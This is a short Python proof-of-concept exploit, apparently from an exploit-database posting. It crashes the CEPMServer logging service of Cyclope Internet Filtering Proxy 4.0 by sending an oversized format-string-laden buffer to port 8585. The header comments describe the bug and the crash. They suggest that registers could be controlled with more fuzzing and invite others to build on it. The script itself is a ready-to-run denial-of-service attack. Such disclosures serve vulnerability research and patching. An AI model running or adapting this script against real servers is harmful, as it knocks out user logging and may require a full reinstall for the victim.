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#!/usr/bin/python # Title: Cyclope Internet Filtering Proxy 4.0 - CEPMServer.exe DoS (Poc). # From: The eh?-Team || The Great White Fuzz (we're not sure yet) # Found by: loneferret # Software link: http://www.cyclope-series.com/download/index.aspx?p=2 # Date Found: Oct 20th 2011 # Tested on: Windows XP SP3 Professional / Windows Server 2008 R2 Standard # Tested with: Registered and Unregistered versions # Nod to the Exploit-DB Team # The Cyclope Internet Filtering Proxy is your basic white & black list website navigation filtering app. # It will log all of the client's activities such as visited web sites, the time etc. # There's an optional client application if the administrator wishes to acquire the computer name and user # information. # The CEPMServer service is what logs user and computer name when one uses the optional client application. # This service is always on regardless of the client's use. So sending an abonormaly large string will cause a # crash. It doesn't stop the filtering but it does stop it from logging usernames and computer names. # Seeing this application is pretty unstable, most often then not you need to re-install Cyclope completely # to have the logging feature to work again. # No registers are overwriten with this PoC, but it is possible to get ESI & EAX. Just throw SPIKE at it # and you'll get those 2 registers. I was just too lazy this morning to investigate so... # As always, if someone can make something more out of this PoC go right ahead. # Have fun, # loneferret import struct import socket junk = "%25n" * 100000 buffer = "<user>loneferret" + junk + "</user><computer>machine</computer><ip>1.1.1.1</ip>\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "\nSending evil buffer..." s.connect(('xxx.xxx.xxx.xxx',8585)) #Enter Cyclope server IP address s.send(buffer) s.close() print "\nDone! " |
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